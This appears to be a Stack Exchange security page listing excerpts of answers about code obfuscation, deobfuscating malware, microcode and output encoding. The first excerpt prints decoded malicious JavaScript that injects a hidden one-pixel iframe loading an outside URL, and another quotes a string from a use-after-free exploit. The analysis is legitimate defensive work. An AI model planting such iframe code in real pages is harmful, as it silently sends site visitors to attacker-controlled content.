Hot answers tagged obfuscation
24
The first (in bold) code is actually this:
Decoded with deobfuscatejavascript.com
(function() {
var pzt = document.createElement('iframe');
pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
pzt.style.position = 'absolute';
pzt.style.border = '0';
pzt.style.height = '1px';
pzt.style.width = '1px';
pzt.style.left = ...
12
This isn't aimed at defeating human analysis, it's aimed at defeating intrusion detection / prevention systems, and other automated scans, as the code comes into the network.
PHP is a Turing-complete language, which means that a single piece of code can be represented in a near-infinite number of ways. Automated systems have limited resources, and are ...
8
You're very much getting into the realm of "Here be dragons" when you look into hardware manipulation like this. I don't know of any research or in-the-wild attack that has done any practical experimentation with this, so my answer will be purely academic.
First, it's probably best if I explain a bit about how microcode works. If you're already clued up on ...
7
Locally done
This could by done easily with standard stuff:
One of the advantages is that could be done offline, as @D3C4FF commented.
.0 Preamble
warning: execution of bad code may be harmfull, so using a special user account with no right on your host and personal stuff is strongly recommanded!
There is a kind of temporary trick, I use:
#!/bin/bash
...
6
I think the operative word in the question is "afraid." The aversion is based on fear, not fact. The reality is, the threat model isn't particularly realistic. Commercial web software development companies nearly universally use JavaScript these days, obfuscated or otherwise, and I challenge you to find me even a single example of one that's had it's JS ...
6
Essentially it XORs two strings together and then executes the result. You can view the original code just by XORing the two strings and printing the result instead.
I stripped off the ''=~('(?{'.( and ).'$/})'); bits and wrapped it in a print statement, and here's what I got:
Some random malware (pastebin)
6
One of the rules of security is:
If the attacker has access to your box, it is his
This includes root access, or physical access. As root on a server an attacker can do anything.
So, what this means is you should be focusing more on prevention and detection. If you can place controls that make it difficult enough for an attacker that you spot them ...
5
Although modern x86 processors allow for runtime microcode upload, the format is model-specific, undocumented, and controlled by checksums and possibly signatures. Also, the scope of microcode is somewhat limited nowadays, because most instructions are hardwired. See this answer for some details. Modern operating systems upload microcode blocks upon boot, ...
5
Let's suppose that in your app (let's call it App1), the user already has to enter some credentials C1 (name and password) which App1 uses when it connects to your central database. Right now, your central database contains C2 as cleartext, to be used when App1 connects to App2.
Let H() be a hash function with a large output, say SHA-512. When the user ...
4
If you simply replace eval() with something like file_put_contents() in each de-obfuscation step you will be able to get the actual malicious code and be able to analyze it. Just make sure you don't output the results to the browser because at some point actual malicious code will be executed in the browser and your machine might get compromised. Write the ...
4
There is an unavoidable minimal latency when shooting packets across the whole planet, because the speed of light is an absolute maximum for the transfer of controlled information, according to the Laws of Physics as we know them.
("Controlled" means that I am not talking about so-called quantum teleportation, which works in lab conditions, but does not let ...
4
What is "output encoding", and can someone provide a concrete example of how a validation routine could make use of it?
Output encoding means that the data is encoded appropriately for the context into which it is being placed. Example, say you want to dynamically display a name from an untrusted source : Your name is:<b>Foo bar</b>
If the ...
4
Technically speaking, decompiling obfuscated code is the same as decompiling non-obfuscated code. The way obfuscation in .NET works is by making it rediculously hard to follow the logic of the codepaths by routing the calls through randomly named types/methods/properties/etc in non-obvious ways. The whole point of obfuscation is to prevent people from ...
3
There are actually several (at least 4) very different types of obfuscation, ranging from simply changing method and variable names into "anonymous" names, to mangling program logic, and even a runtime de-obfuscation engine.
Tools to do so range from the free plugins (some programmers even write all their code that way :) ), through high-end, expensive ...
3
You seem to already know that obfuscation isn't actual protection, so I'm not gonna lecture you on security by obscurity.
What makes sense is this: Put your competitive code on the server to protect it, then obfuscate client-side code as much as you want. Granted, it won't give you much security but it'll definitely deter kiddies snooping around, and it'll ...
2
The growing popularity for Torrent proxies is for anonymity. You can encrypt traffic all you want, but it can always be traced back to the public facing node. The contents of your communication will remain private, however it can be identified that your IP address was in communication with a remote IP address. Without a proxy that will trace back to either ...
2
I don't think that changing the microcode of x86 is possible but running an emulator on top with different microcode is possible and being used. This emulator can be built to start at boot time similar to CPU bootstrapping (yes, CPUs need to bootstrap too).
Obfuscating opcodes is being used in PE protectors which will generate an unique set of opcodes and ...
2
From what I can tell, the string YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH in question is interesting. However, the use of \u0c08\u0c0c is the value of EDI after during the use after free. As for the rest of the string, it just looks like that is what was used in another person's 0-day before it was translated.
Some ...
2
I think the best way to describe canonicalization is to remember that it stems from canon, meaning an authentic piece of writing. What they're talking about is taking untrusted data and formatting it as an unambiguous representation, such that it can never be misrepresented by any software process.
The first step is to take your input and store it ...
2
Hmm, I'm going to have a stab at this. I'll probably fail, but here goes!
First line is just the shebang for convinience of execution and to set warning mode. Not sure why warnings would be enabled for a script like this, but it's here.
#!/usr/bin/perl -w
The next line I've broken down. The first bit:
'' =~
It's asking whether the next bit of code ...
1
I'm a little confused as to how you have this set up.
What makes you think that file path is stored in either assemblies at all? Are you using that PFX to sign the assemblies? If so, there's a pointer in the assembly attributes.
There is no way to obscure the filename at that level because the compiler needs to know the full path. You could possibly run it ...
Only top voted, non community-wiki answers of a minimum length are eligible
